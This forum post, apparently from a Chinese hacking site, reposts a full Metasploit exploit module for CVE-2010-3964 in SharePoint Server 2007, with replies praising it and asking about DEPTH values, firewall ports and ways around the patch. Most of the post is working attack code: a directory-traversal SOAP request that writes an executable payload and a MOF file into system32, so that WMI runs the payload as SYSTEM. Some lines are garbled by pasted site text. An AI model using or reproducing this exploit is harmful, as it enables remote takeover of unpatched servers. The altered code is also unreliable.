Microsoft Office SharePoint Server 2007 Remote Code Execution
This Metasploit module exploits a vulnerability found in SharePoint Server 2007 SP2. The software contains a directory traversal, that allows a remote attacker to write arbitrary files to the filesystem, sending a specially crafted SOAP ConvertFile request to the Office Document Conversions Launcher Service, which results in code execution under the context of 'SYSTEM'. The module uses uses the Windows Management Instrumentation service to execute an arbitrary payload on vulnerable installations of SharePoint on Windows 2003 Servers. It has been successfully tested on Office SharePoint Server 2007 SP2 over Windows 2003 SP2.### This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##PHP代码require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize
super(
'Name' => 'Microsoft Office SharePoint Server 2007 Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability found in SharePoint Server 2007 SP2. The
software contains a directory traversal, that allows a remote attacker to write
arbitrary files to the filesystem, sending a specially crafted SOAP ConvertFile
request to the Office Document Conversions Launcher Service, which results in code
execution under the context of 'SYSTEM'.
The module uses uses the Windows Management Instrumentation service to execute an
arbitrary payload on vulnerable installations of SharePoint on Windows 2003 Servers.
It has been successfully tested on Office SharePoint Server 2007 SP2 over Windows
2003 SP2.
},
'Author' => [
'Oleksandr Mirosh', # Vulnerability Discovery and PoC
'James Burton', # Vulnerability analysis published at "Entomology: A Case Study of Rare and Interesting Bugs"
'juan' # Metasploit module
],
'Platform' => 'win',
'References'=>
[
[ 'CVE', '2010-3964' ],
[ 'OSVDB', '69817' ],
[ 'BID', '45264' ],
[ 'MSB', 'MS10-104' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-287/' ]
],
'Targets' => www.ihonker.org
[
[ 'Microsoft Office SharePoint Server 2007 SP2 / Microsoft Windows Server 2003 SP2', { } ],
],
'DefaultTarget'=> 0,
'Privileged' => true,
'DisclosureDate' => 'Dec 14 2010'
)
register_options(
[
Opt::RPORT(8082),
OptInt.new('DEPTH', )
], self.class)
end
# Msf::Exploit::Remote::HttpClient is avoided because send_request_cgi doesn't get
# the response maybe due to the 100 (Continue) status response even when the Expect
# header isn't included in the request.
def upload_file(file_name, contents)
traversal = "..\\" * datastore['DEPTH']
soap_convert_file = "<SOAP-ENV:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
soap_convert_file << "xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" "
soap_convert_file << "xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\" "
soap_convert_file << "xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" "
soap_convert_file << "xmlns:clr=\"http://schemas.microsoft.com/soap/encoding/clr/1.0\" "
soap_convert_file << "SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" << "\x0d\x0a"
soap_convert_file << "<SOAP-ENV:Body>" << "\x0d\x0a"
soap_convert_file << "<i2:ConvertFile id=\"ref-1\" "
soap_convert_file << "xmlns:i2=\"http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface\">" << "\x0d\x0a"
soap_convert_file << "<launcherUri id=\"ref-3\">http://#{rhost}:8082/HtmlTrLauncher</launcherUri>" << "\x0d\x0a"
soap_convert_file << "<appExe id=\"ref-4\"></appExe>" << "\x0d\x0a"
soap_convert_file << "<convertFrom id=\"ref-5\">#{traversal}#{file_name}</convertFrom>" << "\x0d\x0a"
soap_convert_file << "<convertTo id=\"ref-6\">html</convertTo>" << "\x0d\x0a"
soap_convert_file << "<fileBits href=\"#ref-7\"/>" << "\x0d\x0a"
soap_convert_file << "<taskName id=\"ref-8\">brochure_to_html</taskName>" << "\x0d\x0a"
soap_convert_file << "<configInfo id=\"ref-9\"></configInfo>" << "\x0d\x0a"
soap_convert_file << "<timeout>20</timeout>" << "\x0d\x0a"
soap_convert_file << "<fReturnFileBits>true</fReturnFileBits>" << "\x0d\x0a"
soap_convert_file << "</i2:ConvertFile>" << "\x0d\x0a"
soap_convert_file << "<SOAP-ENC:Array id=\"ref-7\" xsi:type=\"SOAP-ENC:base64\">#{Rex::Text.encode_base64(contents)}</SOAP-ENC:Array>" << "\x0d\x0a"
soap_convert_file << "</SOAP-ENV:Body>" << "\x0d\x0a"
soap_convert_file << "</SOAP-ENV:Envelope>" << "\x0d\x0a"
http_request = "POST /HtmlTrLauncher HTTP/1.1" << "\x0d\x0a"
http_request << "User-Agent: Mozilla/4.0+(compatible; MSIE 6.0; Windows 5.2.3790.131072; MS .NET Remoting; MS .NET CLR 2.0.50727.42 )" << "\x0d\x0a"
http_request << "Content-Type: text/xml; charset=\"utf-8\"" << "\x0d\x0a"
http_request << "SOAPAction: \"http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface#ConvertFile\"" << "\x0d\x0a"
http_request << "Host: #{rhost}:#{rport}" << "\x0d\x0a"
http_request << "Content-Length: #{soap_convert_file.length}" << "\x0d\x0a"
http_request << "Connection: Keep-Alive" << "\x0d\x0a\x0d\x0a"
connect
sock.put(http_request << soap_convert_file)
data = ""
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
disconnect
return data
end
# The check tries to create a test file in the root
def check
peer = "#{rhost}:#{rport}"
filename = rand_text_alpha(rand(10)+5) + '.txt'
contents = rand_text_alpha(rand(10)+5)
print_status("#{peer} - Sending HTTP ConvertFile Request to upload the test file #{filename}")
res = upload_file(filename, contents)
if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/m_ce>/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def exploit
peer = "#{rhost}:#{rport}"
# Setup the necessary files to do the wbemexec trick
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
exe = generate_payload_exe
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
mof = generate_mof(mof_name, exe_name)
print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/m_ce>/
print_good("#{peer} - #{exe_name} uploaded successfully")
else
print_error("#{peer} - Failed to upload #{exe_name}")
return
end
print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/m_ce>/
print_good("#{peer} - #{mof_name} uploaded successfully")
else
print_error("#{peer} - Failed to upload #{mof_name}")
return
end
end
end
满犀利的，中枪概率会蛮高的吧。msf果然不愧是神器
Re: Microsoft Office SharePoint Server 2007 Remote Code Execution
感谢分享这个漏洞的分析。这个漏洞利用了SharePoint 2007 SP2中的目录遍历问题，通过发送特制的SOAP请求可以写入任意文件，最终以SYSTEM权限执行代码，危害性很高。模块还使用了WMI来实现执行payload，思路很清晰。请问目前这个漏洞在打了官方补丁（MS10-104）后是否还有已知的绕过方式？或者有哪些推荐的临时缓解措施？Re: Microsoft Office SharePoint Server 2007 Remote Code Execution
感谢楼主的分享，这个CVE-2010-3964的利用模块写得很详细。之前看过一些关于Office Document Conversions Launcher Service目录遍历的分析，结合WbemExec来提权到SYSTEM确实是个经典的思路。想确认一下，DEPTH这个参数在实际利用中一般设置多少比较合适？还有，针对Win2003 SP2环境，防火墙通常需要允许8082端口通信，有没有遇到过WMI执行受阻的情况？希望能多交流。Re: Microsoft Office SharePoint Server 2007 Remote Code Execution
感谢分享这个漏洞信息。CVE-2010-3964 这个目录遍历漏洞结合 Office Document Conversions Launcher Service 的 SOAP 请求来实现 SYSTEM 权限的命令执行，确实比较严重。请问你是否有在 Windows 2003 SP2 + SharePoint 2007 SP2 以外的环境测试过这个模块的成功率？另外，8082 端口默认是否常被防火墙开放？
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